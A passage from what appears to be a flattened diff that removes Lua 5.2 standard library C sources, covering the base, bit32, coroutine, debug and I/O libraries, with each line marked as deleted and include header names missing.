dofilecont (lua_State *L) { - return lua_gettop(L) - 1; -} - - -static int luaB_dofile (lua_State *L) { - const char *fname = luaL_optstring(L, 1, NULL); - lua_settop(L, 1); - if (luaL_loadfile(L, fname) != LUA_OK) lua_error(L); - lua_callk(L, 0, LUA_MULTRET, 0, dofilecont); - return dofilecont(L); -} - - -static int luaB_assert (lua_State *L) { - if (!lua_toboolean(L, 1)) - return luaL_error(L, "%s", luaL_optstring(L, 2, "assertion failed!")); - return lua_gettop(L); -} - - -static int luaB_select (lua_State *L) { - int n = lua_gettop(L); - if (lua_type(L, 1) == LUA_TSTRING && *lua_tostring(L, 1) == '#') { - lua_pushinteger(L, n-1); - return 1; - } - else { - int i = luaL_checkint(L, 1); - if (i < 0) i = n + i; - else if (i > n) i = n; - luaL_argcheck(L, 1 <= i, 1, "index out of range"); - return n - i; - } -} - - -static int finishpcall (lua_State *L, int status) { - if (!lua_checkstack(L, 1)) { /* no space for extra boolean? */ - lua_settop(L, 0); /* create space for return values */ - lua_pushboolean(L, 0); - lua_pushstring(L, "stack overflow"); - return 2; /* return false, msg */ - } - lua_pushboolean(L, status); /* first result (status) */ - lua_replace(L, 1); /* put first result in first slot */ - return lua_gettop(L); -} - - -static int pcallcont (lua_State *L) { - int status = lua_getctx(L, NULL); - return finishpcall(L, (status == LUA_YIELD)); -} - - -static int luaB_pcall (lua_State *L) { - int status; - luaL_checkany(L, 1); - lua_pushnil(L); - lua_insert(L, 1); /* create space for status result */ - status = lua_pcallk(L, lua_gettop(L) - 2, LUA_MULTRET, 0, 0, pcallcont); - return finishpcall(L, (status == LUA_OK)); -} - - -static int luaB_xpcall (lua_State *L) { - int status; - int n = lua_gettop(L); - luaL_argcheck(L, n >= 2, 2, "value expected"); - lua_pushvalue(L, 1); /* exchange function... */ - lua_copy(L, 2, 1); /* ...and error handler */ - lua_replace(L, 2); - status = lua_pcallk(L, n - 2, LUA_MULTRET, 1, 0, pcallcont); - return finishpcall(L, (status == LUA_OK)); -} - - -static int luaB_tostring (lua_State *L) { - luaL_checkany(L, 1); - luaL_tolstring(L, 1, NULL); - return 1; -} - - -static const luaL_Reg base_funcs[] = { - {"assert", luaB_assert}, - {"collectgarbage", luaB_collectgarbage}, - {"dofile", luaB_dofile}, - {"error", luaB_error}, - {"getmetatable", luaB_getmetatable}, - {"ipairs", luaB_ipairs}, - {"loadfile", luaB_loadfile}, - {"load", luaB_load}, -#if defined(LUA_COMPAT_LOADSTRING) - {"loadstring", luaB_load}, -#endif - {"next", luaB_next}, - {"pairs", luaB_pairs}, - {"pcall", luaB_pcall}, - {"print", luaB_print}, - {"rawequal", luaB_rawequal}, - {"rawlen", luaB_rawlen}, - {"rawget", luaB_rawget}, - {"rawset", luaB_rawset}, - {"select", luaB_select}, - {"setmetatable", luaB_setmetatable}, - {"tonumber", luaB_tonumber}, - {"tostring", luaB_tostring}, - {"type", luaB_type}, - {"xpcall", luaB_xpcall}, - {NULL, NULL} -}; - - -LUAMOD_API int luaopen_base (lua_State *L) { - /* set global _G */ - lua_pushglobaltable(L); - lua_pushglobaltable(L); - lua_setfield(L, -2, "_G"); - /* open lib into global table */ - luaL_setfuncs(L, base_funcs, 0); - lua_pushliteral(L, LUA_VERSION); - lua_setfield(L, -2, "_VERSION"); /* set global _VERSION */ - return 1; -} - -/* -** $Id: lbitlib.c,v 1.16 2011/06/20 16:35:23 roberto Exp $ -** Standard library for bitwise operations -** See Copyright Notice in lua.h -*/ - -#define lbitlib_c -#define LUA_LIB - - - - -/* number of bits to consider in a number */ -#if !defined(LUA_NBITS) -#define LUA_NBITS 32 -#endif - - -#define ALLONES (~(((~(lua_Unsigned)0) << (LUA_NBITS - 1)) << 1)) - -/* macro to trim extra bits */ -#define trim(x) ((x) & ALLONES) - - -/* builds a number with 'n' ones (1 <= n <= LUA_NBITS) */ -#define mask(n) (~((ALLONES << 1) << ((n) - 1))) - - -typedef lua_Unsigned b_uint; - - - -static b_uint andaux (lua_State *L) { - int i, n = lua_gettop(L); - b_uint r = ~(b_uint)0; - for (i = 1; i <= n; i++) - r &= luaL_checkunsigned(L, i); - return trim(r); -} - - -static int b_and (lua_State *L) { - b_uint r = andaux(L); - lua_pushunsigned(L, r); - return 1; -} - - -static int b_test (lua_State *L) { - b_uint r = andaux(L); - lua_pushboolean(L, r != 0); - return 1; -} - - -static int b_or (lua_State *L) { - int i, n = lua_gettop(L); - b_uint r = 0; - for (i = 1; i <= n; i++) - r |= luaL_checkunsigned(L, i); - lua_pushunsigned(L, trim(r)); - return 1; -} - - -static int b_xor (lua_State *L) { - int i, n = lua_gettop(L); - b_uint r = 0; - for (i = 1; i <= n; i++) - r ^= luaL_checkunsigned(L, i); - lua_pushunsigned(L, trim(r)); - return 1; -} - - -static int b_not (lua_State *L) { - b_uint r = ~luaL_checkunsigned(L, 1); - lua_pushunsigned(L, trim(r)); - return 1; -} - - -static int b_shift (lua_State *L, b_uint r, int i) { - if (i < 0) { /* shift right? */ - i = -i; - r = trim(r); - if (i >= LUA_NBITS) r = 0; - else r >>= i; - } - else { /* shift left */ - if (i >= LUA_NBITS) r = 0; - else r <<= i; - r = trim(r); - } - lua_pushunsigned(L, r); - return 1; -} - - -static int b_lshift (lua_State *L) { - return b_shift(L, luaL_checkunsigned(L, 1), luaL_checkint(L, 2)); -} - - -static int b_rshift (lua_State *L) { - return b_shift(L, luaL_checkunsigned(L, 1), -luaL_checkint(L, 2)); -} - - -static int b_arshift (lua_State *L) { - b_uint r = luaL_checkunsigned(L, 1); - int i = luaL_checkint(L, 2); - if (i < 0 || !(r & ((b_uint)1 << (LUA_NBITS - 1)))) - return b_shift(L, r, -i); - else { /* arithmetic shift for 'negative' number */ - if (i >= LUA_NBITS) r = ALLONES; - else - r = trim((r >> i) | ~(~(b_uint)0 >> i)); /* add signal bit */ - lua_pushunsigned(L, r); - return 1; - } -} - - -static int b_rot (lua_State *L, int i) { - b_uint r = luaL_checkunsigned(L, 1); - i &= (LUA_NBITS - 1); /* i = i % NBITS */ - r = trim(r); - r = (r << i) | (r >> (LUA_NBITS - i)); - lua_pushunsigned(L, trim(r)); - return 1; -} - - -static int b_lrot (lua_State *L) { - return b_rot(L, luaL_checkint(L, 2)); -} - - -static int b_rrot (lua_State *L) { - return b_rot(L, -luaL_checkint(L, 2)); -} - - -/* -** get field and width arguments for field-manipulation functions, -** checking whether they are valid -*/ -static int fieldargs (lua_State *L, int farg, int *width) { - int f = luaL_checkint(L, farg); - int w = luaL_optint(L, farg + 1, 1); - luaL_argcheck(L, 0 <= f, farg, "field cannot be negative"); - luaL_argcheck(L, 0 < w, farg + 1, "width must be positive"); - if (f + w > LUA_NBITS) - luaL_error(L, "trying to access non-existent bits"); - *width = w; - return f; -} - - -static int b_extract (lua_State *L) { - int w; - b_uint r = luaL_checkunsigned(L, 1); - int f = fieldargs(L, 2, &w); - r = (r >> f) & mask(w); - lua_pushunsigned(L, r); - return 1; -} - - -static int b_replace (lua_State *L) { - int w; - b_uint r = luaL_checkunsigned(L, 1); - b_uint v = luaL_checkunsigned(L, 2); - int f = fieldargs(L, 3, &w); - int m = mask(w); - v &= m; /* erase bits outside given width */ - r = (r & ~(m << f)) | (v << f); - lua_pushunsigned(L, r); - return 1; -} - - -static const luaL_Reg bitlib[] = { - {"arshift", b_arshift}, - {"band", b_and}, - {"bnot", b_not}, - {"bor", b_or}, - {"bxor", b_xor}, - {"btest", b_test}, - {"extract", b_extract}, - {"lrotate", b_lrot}, - {"lshift", b_lshift}, - {"replace", b_replace}, - {"rrotate", b_rrot}, - {"rshift", b_rshift}, - {NULL, NULL} -}; - - - -LUAMOD_API int luaopen_bit32 (lua_State *L) { - luaL_newlib(L, bitlib); - return 1; -} - -/* -** $Id: lcorolib.c,v 1.4 2012/04/27 18:59:04 roberto Exp $ -** Coroutine Library -** See Copyright Notice in lua.h -*/ - - -#include - - -#define lcorolib_c -#define LUA_LIB - - - - -static int auxresume (lua_State *L, lua_State *co, int narg) { - int status; - if (!lua_checkstack(co, narg)) { - lua_pushliteral(L, "too many arguments to resume"); - return -1; /* error flag */ - } - if (lua_status(co) == LUA_OK && lua_gettop(co) == 0) { - lua_pushliteral(L, "cannot resume dead coroutine"); - return -1; /* error flag */ - } - lua_xmove(L, co, narg); - status = lua_resume(co, L, narg); - if (status == LUA_OK || status == LUA_YIELD) { - int nres = lua_gettop(co); - if (!lua_checkstack(L, nres + 1)) { - lua_pop(co, nres); /* remove results anyway */ - lua_pushliteral(L, "too many results to resume"); - return -1; /* error flag */ - } - lua_xmove(co, L, nres); /* move yielded values */ - return nres; - } - else { - lua_xmove(co, L, 1); /* move error message */ - return -1; /* error flag */ - } -} - - -static int luaB_coresume (lua_State *L) { - lua_State *co = lua_tothread(L, 1); - int r; - luaL_argcheck(L, co, 1, "coroutine expected"); - r = auxresume(L, co, lua_gettop(L) - 1); - if (r < 0) { - lua_pushboolean(L, 0); - lua_insert(L, -2); - return 2; /* return false + error message */ - } - else { - lua_pushboolean(L, 1); - lua_insert(L, -(r + 1)); - return r + 1; /* return true + `resume' returns */ - } -} - - -static int luaB_auxwrap (lua_State *L) { - lua_State *co = lua_tothread(L, lua_upvalueindex(1)); - int r = auxresume(L, co, lua_gettop(L)); - if (r < 0) { - if (lua_isstring(L, -1)) { /* error object is a string? */ - luaL_where(L, 1); /* add extra info */ - lua_insert(L, -2); - lua_concat(L, 2); - } - lua_error(L); /* propagate error */ - } - return r; -} - - -static int luaB_cocreate (lua_State *L) { - lua_State *NL; - luaL_checktype(L, 1, LUA_TFUNCTION); - NL = lua_newthread(L); - lua_pushvalue(L, 1); /* move function to top */ - lua_xmove(L, NL, 1); /* move function from L to NL */ - return 1; -} - - -static int luaB_cowrap (lua_State *L) { - luaB_cocreate(L); - lua_pushcclosure(L, luaB_auxwrap, 1); - return 1; -} - - -static int luaB_yield (lua_State *L) { - return lua_yield(L, lua_gettop(L)); -} - - -static int luaB_costatus (lua_State *L) { - lua_State *co = lua_tothread(L, 1); - luaL_argcheck(L, co, 1, "coroutine expected"); - if (L == co) lua_pushliteral(L, "running"); - else { - switch (lua_status(co)) { - case LUA_YIELD: - lua_pushliteral(L, "suspended"); - break; - case LUA_OK: { - lua_Debug ar; - if (lua_getstack(co, 0, &ar) > 0) /* does it have frames? */ - lua_pushliteral(L, "normal"); /* it is running */ - else if (lua_gettop(co) == 0) - lua_pushliteral(L, "dead"); - else - lua_pushliteral(L, "suspended"); /* initial state */ - break; - } - default: /* some error occurred */ - lua_pushliteral(L, "dead"); - break; - } - } - return 1; -} - - -static int luaB_corunning (lua_State *L) { - int ismain = lua_pushthread(L); - lua_pushboolean(L, ismain); - return 2; -} - - -static const luaL_Reg co_funcs[] = { - {"create", luaB_cocreate}, - {"resume", luaB_coresume}, - {"running", luaB_corunning}, - {"status", luaB_costatus}, - {"wrap", luaB_cowrap}, - {"yield", luaB_yield}, - {NULL, NULL} -}; - - - -LUAMOD_API int luaopen_coroutine (lua_State *L) { - luaL_newlib(L, co_funcs); - return 1; -} - -/* -** $Id: ldblib.c,v 1.132 2012/01/19 20:14:44 roberto Exp $ -** Interface from Lua to its debug API -** See Copyright Notice in lua.h -*/ - - -#include -#include -#include - -#define ldblib_c -#define LUA_LIB - - - - -#define HOOKKEY "_HKEY" - - - -static int db_getregistry (lua_State *L) { - lua_pushvalue(L, LUA_REGISTRYINDEX); - return 1; -} - - -static int db_getmetatable (lua_State *L) { - luaL_checkany(L, 1); - if (!lua_getmetatable(L, 1)) { - lua_pushnil(L); /* no metatable */ - } - return 1; -} - - -static int db_setmetatable (lua_State *L) { - int t = lua_type(L, 2); - luaL_argcheck(L, t == LUA_TNIL || t == LUA_TTABLE, 2, - "nil or table expected"); - lua_settop(L, 2); - lua_setmetatable(L, 1); - return 1; /* return 1st argument */ -} - - -static int db_getuservalue (lua_State *L) { - if (lua_type(L, 1) != LUA_TUSERDATA) - lua_pushnil(L); - else - lua_getuservalue(L, 1); - return 1; -} - - -static int db_setuservalue (lua_State *L) { - if (lua_type(L, 1) == LUA_TLIGHTUSERDATA) - luaL_argerror(L, 1, "full userdata expected, got light userdata"); - luaL_checktype(L, 1, LUA_TUSERDATA); - if (!lua_isnoneornil(L, 2)) - luaL_checktype(L, 2, LUA_TTABLE); - lua_settop(L, 2); - lua_setuservalue(L, 1); - return 1; -} - - -static void settabss (lua_State *L, const char *i, const char *v) { - lua_pushstring(L, v); - lua_setfield(L, -2, i); -} - - -static void settabsi (lua_State *L, const char *i, int v) { - lua_pushinteger(L, v); - lua_setfield(L, -2, i); -} - - -static void settabsb (lua_State *L, const char *i, int v) { - lua_pushboolean(L, v); - lua_setfield(L, -2, i); -} - - -static lua_State *getthread (lua_State *L, int *arg) { - if (lua_isthread(L, 1)) { - *arg = 1; - return lua_tothread(L, 1); - } - else { - *arg = 0; - return L; - } -} - - -static void treatstackoption (lua_State *L, lua_State *L1, const char *fname) { - if (L == L1) { - lua_pushvalue(L, -2); - lua_remove(L, -3); - } - else - lua_xmove(L1, L, 1); - lua_setfield(L, -2, fname); -} - - -static int db_getinfo (lua_State *L) { - lua_Debug ar; - int arg; - lua_State *L1 = getthread(L, &arg); - const char *options = luaL_optstring(L, arg+2, "flnStu"); - if (lua_isnumber(L, arg+1)) { - if (!lua_getstack(L1, (int)lua_tointeger(L, arg+1), &ar)) { - lua_pushnil(L); /* level out of range */ - return 1; - } - } - else if (lua_isfunction(L, arg+1)) { - lua_pushfstring(L, ">%s", options); - options = lua_tostring(L, -1); - lua_pushvalue(L, arg+1); - lua_xmove(L, L1, 1); - } - else - return luaL_argerror(L, arg+1, "function or level expected"); - if (!lua_getinfo(L1, options, &ar)) - return luaL_argerror(L, arg+2, "invalid option"); - lua_createtable(L, 0, 2); - if (strchr(options, 'S')) { - settabss(L, "source", ar.source); - settabss(L, "short_src", ar.short_src); - settabsi(L, "linedefined", ar.linedefined); - settabsi(L, "lastlinedefined", ar.lastlinedefined); - settabss(L, "what", ar.what); - } - if (strchr(options, 'l')) - settabsi(L, "currentline", ar.currentline); - if (strchr(options, 'u')) { - settabsi(L, "nups", ar.nups); - settabsi(L, "nparams", ar.nparams); - settabsb(L, "isvararg", ar.isvararg); - } - if (strchr(options, 'n')) { - settabss(L, "name", ar.name); - settabss(L, "namewhat", ar.namewhat); - } - if (strchr(options, 't')) - settabsb(L, "istailcall", ar.istailcall); - if (strchr(options, 'L')) - treatstackoption(L, L1, "activelines"); - if (strchr(options, 'f')) - treatstackoption(L, L1, "func"); - return 1; /* return table */ -} - - -static int db_getlocal (lua_State *L) { - int arg; - lua_State *L1 = getthread(L, &arg); - lua_Debug ar; - const char *name; - int nvar = luaL_checkint(L, arg+2); /* local-variable index */ - if (lua_isfunction(L, arg + 1)) { /* function argument? */ - lua_pushvalue(L, arg + 1); /* push function */ - lua_pushstring(L, lua_getlocal(L, NULL, nvar)); /* push local name */ - return 1; - } - else { /* stack-level argument */ - if (!lua_getstack(L1, luaL_checkint(L, arg+1), &ar)) /* out of range? */ - return luaL_argerror(L, arg+1, "level out of range"); - name = lua_getlocal(L1, &ar, nvar); - if (name) { - lua_xmove(L1, L, 1); /* push local value */ - lua_pushstring(L, name); /* push name */ - lua_pushvalue(L, -2); /* re-order */ - return 2; - } - else { - lua_pushnil(L); /* no name (nor value) */ - return 1; - } - } -} - - -static int db_setlocal (lua_State *L) { - int arg; - lua_State *L1 = getthread(L, &arg); - lua_Debug ar; - if (!lua_getstack(L1, luaL_checkint(L, arg+1), &ar)) /* out of range? */ - return luaL_argerror(L, arg+1, "level out of range"); - luaL_checkany(L, arg+3); - lua_settop(L, arg+3); - lua_xmove(L, L1, 1); - lua_pushstring(L, lua_setlocal(L1, &ar, luaL_checkint(L, arg+2))); - return 1; -} - - -static int auxupvalue (lua_State *L, int get) { - const char *name; - int n = luaL_checkint(L, 2); - luaL_checktype(L, 1, LUA_TFUNCTION); - name = get ? lua_getupvalue(L, 1, n) : lua_setupvalue(L, 1, n); - if (name == NULL) return 0; - lua_pushstring(L, name); - lua_insert(L, -(get+1)); - return get + 1; -} - - -static int db_getupvalue (lua_State *L) { - return auxupvalue(L, 1); -} - - -static int db_setupvalue (lua_State *L) { - luaL_checkany(L, 3); - return auxupvalue(L, 0); -} - - -static int checkupval (lua_State *L, int argf, int argnup) { - lua_Debug ar; - int nup = luaL_checkint(L, argnup); - luaL_checktype(L, argf, LUA_TFUNCTION); - lua_pushvalue(L, argf); - lua_getinfo(L, ">u", &ar); - luaL_argcheck(L, 1 <= nup && nup <= ar.nups, argnup, "invalid upvalue index"); - return nup; -} - - -static int db_upvalueid (lua_State *L) { - int n = checkupval(L, 1, 2); - lua_pushlightuserdata(L, lua_upvalueid(L, 1, n)); - return 1; -} - - -static int db_upvaluejoin (lua_State *L) { - int n1 = checkupval(L, 1, 2); - int n2 = checkupval(L, 3, 4); - luaL_argcheck(L, !lua_iscfunction(L, 1), 1, "Lua function expected"); - luaL_argcheck(L, !lua_iscfunction(L, 3), 3, "Lua function expected"); - lua_upvaluejoin(L, 1, n1, 3, n2); - return 0; -} - - -#define gethooktable(L) luaL_getsubtable(L, LUA_REGISTRYINDEX, HOOKKEY) - - -static void hookf (lua_State *L, lua_Debug *ar) { - static const char *const hooknames[] = - {"call", "return", "line", "count", "tail call"}; - gethooktable(L); - lua_pushthread(L); - lua_rawget(L, -2); - if (lua_isfunction(L, -1)) { - lua_pushstring(L, hooknames[(int)ar->event]); - if (ar->currentline >= 0) - lua_pushinteger(L, ar->currentline); - else lua_pushnil(L); - lua_assert(lua_getinfo(L, "lS", ar)); - lua_call(L, 2, 0); - } -} - - -static int makemask (const char *smask, int count) { - int mask = 0; - if (strchr(smask, 'c')) mask |= LUA_MASKCALL; - if (strchr(smask, 'r')) mask |= LUA_MASKRET; - if (strchr(smask, 'l')) mask |= LUA_MASKLINE; - if (count > 0) mask |= LUA_MASKCOUNT; - return mask; -} - - -static char *unmakemask (int mask, char *smask) { - int i = 0; - if (mask & LUA_MASKCALL) smask[i++] = 'c'; - if (mask & LUA_MASKRET) smask[i++] = 'r'; - if (mask & LUA_MASKLINE) smask[i++] = 'l'; - smask[i] = '\0'; - return smask; -} - - -static int db_sethook (lua_State *L) { - int arg, mask, count; - lua_Hook func; - lua_State *L1 = getthread(L, &arg); - if (lua_isnoneornil(L, arg+1)) { - lua_settop(L, arg+1); - func = NULL; mask = 0; count = 0; /* turn off hooks */ - } - else { - const char *smask = luaL_checkstring(L, arg+2); - luaL_checktype(L, arg+1, LUA_TFUNCTION); - count = luaL_optint(L, arg+3, 0); - func = hookf; mask = makemask(smask, count); - } - if (gethooktable(L) == 0) { /* creating hook table? */ - lua_pushstring(L, "k"); - lua_setfield(L, -2, "__mode"); /** hooktable.__mode = "k" */ - lua_pushvalue(L, -1); - lua_setmetatable(L, -2); /* setmetatable(hooktable) = hooktable */ - } - lua_pushthread(L1); lua_xmove(L1, L, 1); - lua_pushvalue(L, arg+1); - lua_rawset(L, -3); /* set new hook */ - lua_sethook(L1, func, mask, count); /* set hooks */ - return 0; -} - - -static int db_gethook (lua_State *L) { - int arg; - lua_State *L1 = getthread(L, &arg); - char buff[5]; - int mask = lua_gethookmask(L1); - lua_Hook hook = lua_gethook(L1); - if (hook != NULL && hook != hookf) /* external hook? */ - lua_pushliteral(L, "external hook"); - else { - gethooktable(L); - lua_pushthread(L1); lua_xmove(L1, L, 1); - lua_rawget(L, -2); /* get hook */ - lua_remove(L, -2); /* remove hook table */ - } - lua_pushstring(L, unmakemask(mask, buff)); - lua_pushinteger(L, lua_gethookcount(L1)); - return 3; -} - - -static int db_debug (lua_State *L) { - for (;;) { - char buffer[250]; - luai_writestringerror("%s", "lua_debug> "); - if (fgets(buffer, sizeof(buffer), stdin) == 0 || - strcmp(buffer, "cont\n") == 0) - return 0; - if (luaL_loadbuffer(L, buffer, strlen(buffer), "=(debug command)") || - lua_pcall(L, 0, 0, 0)) - luai_writestringerror("%s\n", lua_tostring(L, -1)); - lua_settop(L, 0); /* remove eventual returns */ - } -} - - -static int db_traceback (lua_State *L) { - int arg; - lua_State *L1 = getthread(L, &arg); - const char *msg = lua_tostring(L, arg + 1); - if (msg == NULL && !lua_isnoneornil(L, arg + 1)) /* non-string 'msg'? */ - lua_pushvalue(L, arg + 1); /* return it untouched */ - else { - int level = luaL_optint(L, arg + 2, (L == L1) ? 1 : 0); - luaL_traceback(L, L1, msg, level); - } - return 1; -} - - -static const luaL_Reg dblib[] = { - {"debug", db_debug}, - {"getuservalue", db_getuservalue}, - {"gethook", db_gethook}, - {"getinfo", db_getinfo}, - {"getlocal", db_getlocal}, - {"getregistry", db_getregistry}, - {"getmetatable", db_getmetatable}, - {"getupvalue", db_getupvalue}, - {"upvaluejoin", db_upvaluejoin}, - {"upvalueid", db_upvalueid}, - {"setuservalue", db_setuservalue}, - {"sethook", db_sethook}, - {"setlocal", db_setlocal}, - {"setmetatable", db_setmetatable}, - {"setupvalue", db_setupvalue}, - {"traceback", db_traceback}, - {NULL, NULL} -}; - - -LUAMOD_API int luaopen_debug (lua_State *L) { - luaL_newlib(L, dblib); - return 1; -} - -/* -** $Id: liolib.c,v 2.108 2011/11/25 12:50:03 roberto Exp $ -** Standard I/O (and system) library -** See Copyright Notice in lua.h -*/ - - -/* -** POSIX idiosyncrasy! -** This definition must come before the inclusion of 'stdio.h'; it -** should not affect non-POSIX systems -*/ -#if !defined(_FILE_OFFSET_BITS) -#define _FILE_OFFSET_BITS 64 -#endif - - -#include -#include -#include -#include - -#define liolib_c -#define LUA_LIB - - - - - -/* -** {====================================================== -** lua_popen spawns a new process connected to the current -** one through the file streams. -** ======================================================= -*/ - -#if !defined(lua_popen) /* { */ - -#if defined(LUA_USE_POPEN) /* { */ - -#define lua_popen(L,c,m) ((void)L, fflush(NULL), popen(c,m)) -#define lua_pclose(L,file) ((void)L, pclose(file)) - -#elif defined(LUA_WIN) /* }{ */ - -#define lua_popen(L,c,m) ((void)L, _popen(c,m)) -#define lua_pclose(L,file) ((void)L, _pclose(file)) - - -#else /* }{ */ - -#define lua_popen(L,c,m) ((void)((void)c, m), \ - luaL_error(L, LUA_QL("popen") " not supported"), (FILE*)0) -#define lua_pclose(L,file) ((void)((void)L, file), -1) - - -#endif /* } */ - -#endif /* } */ - -/* }====================================================== */ - - -/* -** {====================================================== -** lua_fseek/lua_ftell: configuration for longer offsets -** ======================================================= -*/ - -#if !defined(lua_fseek) /* { */ - -#if defined(LUA_USE_POSIX) - -#define l_fseek(f,o,w) fseeko(f,o,w) -#define l_ftell(f) ftello(f) -#define l_seeknum off_t - -#elif defined(LUA_WIN) && !defined(_CRTIMP_TYPEINFO) \ - && defined(_MSC_VER) && (_MSC_VER >= 1400) -/* Windows (but not DDK) and Visual C++ 2005 or higher */ - -#define l_fseek(f,o,w) _fseeki64(f,o,w) -#define l_ftell(f) _ftelli64(f) -#define l_seeknum __int64 - -#else - -#define l_fseek(f,o,w) fseek(f,o,w) -#define l_ftell(f) ftell(f) -#define l_seeknum long - -#endif - -#endif /* } */ - -/* }====================================================== */ - - -#define IO_PREFIX "_IO_" -#define IO_INPUT (IO_PREFIX "input") -#define IO_OUTPUT (IO_PREFIX "output") - - -typedef luaL_Stream LStream; - - -#define tolstream(L) ((LStream *)luaL_checkudata(L, 1, LUA_FILEHANDLE)) - -#define isclosed(p) ((p)->closef == NULL) - - -static int io_type (lua_State *L) { - LStream *p; - luaL_checkany(L, 1); - p = (LStream *)luaL_testudata(L, 1, LUA_FILEHANDLE); - if (p == NULL) - lua_pushnil(L); /* not a file */ - else if (isclosed(p)) - lua_pushliteral(L, "closed file"); - else - lua_pushliteral(L, "file"); - return 1; -} - - -static int f_tostring (lua_State *L) { - LStream *p = tolstream(L); - if (isclosed(p)) - lua_pushliteral(L, "file (closed)"); - else - lua_pushfstring(L, "file (%p)", p->f); - return 1; -} - - -static FILE *tofile (lua_State *L) { - LStream *p = tolstream(L); - if (isclosed(p)) - luaL_error(L, "attempt to use a closed file"); - lua_assert(p->f); - return p->f; -} - - -/* -** When creating file handles, always creates a `closed' file handle -** before opening the actual file; so, if there is a memory error, the -** file is not left opened. -*/ -static LStream *newprefile (lua_State *L) { - LStream *p = (LStream *)lua_newuserdata(L, sizeof(LStream)); - p->closef = NULL; /* mark file handle as 'closed' */ - luaL_setmetatable(L, LUA_FILEHANDLE); - return p; -} - - -static int aux_close (lua_State *L) { - LStream *p = tolstream(L); - lua_CFunction cf = p->closef; - p->closef = NULL; /* mark stream as closed */ - return (*cf)(L); /* close it */ -} - - -static int io_close (lua_State *L) { - if (lua_isnone(L, 1)) /* no argument? */ - lua_getfield(L, LUA_REGISTRYINDEX, IO_OUTPUT); /* use standard output */ - tofile(L); /* make sure argument is an open stream */ - return aux_close(L); -} - - -static int f_gc (lua_State *L) { - LStream *p = tolstream(L); - if (!isclosed(p) && p->f != NULL) - aux_close(L); /* ignore closed and incompletely open files */ - return 0; -} - - -/* -** function to close regular files -*/ -static int io_fclose (lua_State *L) { - LStream *p = tolstream(L); - int res = fclose(p->f); - return luaL_fileresult(L, (res == 0), NULL); -} - - -static LStream *newfile (lua_State *L) { - LStream *p = newprefile(L); - p->f = NULL; - p->closef = &io_fclose; - return p; -} - - -static void opencheck (lua_State *L, const char *fname, const char *mode) { - LStream *p = newfile(L); - p->f = fopen(fname, mode); - if (p->f == NULL) - luaL_error(L, "cannot open file " LUA_QS " (%s)", fname, strerror(errno)); -} - - -static int io_open (lua_State *L) { - const char *filename = luaL_checkstring(L, 1); - const char *mode = luaL_optstring(L, 2, "r"); - LStream *p = newfile(L); - int i = 0; - /* check whether 'mode' matches '[rwa]%+?b?' */ - if (!(mode[i] != '\0' && strchr("rwa", mode[i++]) != NULL && - (mode[i] != '+' || ++i) && /* skip if char is '+' */ - (mode[i] != 'b' || ++i) && /* skip if char is 'b' */ - (mode[i] == '\0'))) - return luaL_error(L, "invalid mode " LUA_QS - " (should match " LUA_QL("[rwa]%%+?b?") ")", mode); - p->f = fopen(filename, mode); - return (p->f == NULL) ? luaL_fileresult(L, 0, filename) : 1; -} - - -/* -** function to close 'popen' files -*/ -static int io_pclose (lua_State *L) { - LStream *p = tolstream(L); - return luaL_execresult(L, lua_pclose(L, p->f)); -} - - -static int io_popen (lua_State *L) { - const char *filename = luaL_checkstring(L, 1); - const char *mode = luaL_optstring(L, 2, "r"); - LStream *p = newprefile(L); - p->f = lua_popen(L, filename, mode); - p->closef = &io_pclose; - return (p->f == NULL) ? luaL_fileresult(L, 0, filename) : 1; -} - - -static int io_tmpfile (lua_State *L) { - LStream *p = newfile(L); - p->f = tmpfile(); - return (p->f == NULL) ? luaL_fileresult(L, 0, NULL) : 1; -} - - -static FILE *getiofile (lua_State *L, const char *findex) { - LStream *p; - lua_getfield(L, LUA_REGISTRYINDEX, findex); - p = (LStream *)lua_touserdata(L, -1); - if (isclosed(p)) - luaL_error(L, "standard %s file is closed", findex + strlen(IO_PREFIX)); - return p->f; -} - - -static int g_iofile (lua_State *L, const char *f, const char *mode) { - if (!lua_isnoneornil(L, 1)) { - const char *filename = lua_tostring(L, 1); - if (filename) - opencheck(L, filename, mode); - else { - tofile(L); /* check that it's a valid file handle */ - lua_pushvalue(L, 1); - } - lua_setfield(L, LUA_REGISTRYINDEX, f); - } - /* return current value */ - lua_getfield(L, LUA_REGISTRYINDEX, f); - return 1; -} - - -static int io_input (lua_State *L) { - return g_iofile(L, IO_INPUT, "r"); -} - - -static int io_output (lua_State *L) { - return g_iofile(L, IO_OUTPUT, "w"); -} - - -static int io_readline (lua_State *L); - - -static void aux_lines (lua_State *L, int toclose) { - int i; - int n = lua_gettop(L) - 1; /* number of arguments to read */ - /* ensure that arguments will fit here and into 'io_readline' stack */ - luaL_argcheck(L, n <= LUA_MINSTACK - 3, LUA_MINSTACK - 3, "too many options"); - lua_pushvalue(L, 1); /* file handle */ - lua_pushinteger(L, n); /* number of arguments to read */ - lua_pushboolean(L, toclose); /* close/not close file when finished */ - for (i = 1; i <= n; i++) lua_pushvalue(L, i + 1); /* copy arguments */ - lua_pushcclosure(L, io_readline, 3 + n); -} - - -static int f_lines (lua_State *L) { - tofile(L); /* check that it's a valid file handle */ - aux_lines(L, 0); - return 1; -} - - -static int io_lines (lua_State *L) { - int toclose; - if (lua_isnone(L, 1)) lua_pushnil(L); /* at least one argument */ - if (lua_isnil(L, 1)) { /* no file name? */ - lua_getfield(L, LUA_REGISTRYINDEX, IO_INPUT); /* get default input */ - lua_replace(L, 1); /* put it at index 1 */ - tofile(L); /* check that it's a valid file handle */ - toclose = 0; /* do not close it after iteration */ - } - else { /* open a new file */ - const char *filename = luaL_checkstring(L, 1); - opencheck(L, filename, "r"); - lua_replace(L, 1); /* put file at index 1 */ - toclose = 1; /* close it after iteration */ - } - aux_lines(L, toclose); - return 1; -} - - -/* -** {====================================================== -** READ -** ======================================================= -*/ - - -static int read_number (lua_State *L, FILE *f) { - lua_Number d; - if (fscanf(f, LUA_NUMBER_SCAN, &d) == 1) { - lua_pushnumber(L, d); - return 1; - } - else { - lua_pushnil(L); /* "result" to be removed */ - return 0; /* read fails */ - } -} - - -static int test_eof (lua_State *L, FILE *f) { - int c = getc(f); - ungetc(c, f); - lua_pushlstring(L, NULL, 0); - return (c != EOF); -} - - -static int read_line (lua_State *L, FILE *f, int chop) { - luaL_Buffer b; - luaL_buffinit(L, &b); - for (;;) { - size_t l; - char *p = luaL_prepbuffer(&b); - if (fgets(p, LUAL_BUFFERSIZE, f) == NULL) { /* eof? */ - luaL_pushresult(&b); /* close buffer */ - return (lua_rawlen(L, -1) > 0); /* check whether read something */ - } - l = strlen(p); - if (l == 0 || p[l-1] != '\n') - luaL_addsize(&b, l); - else { 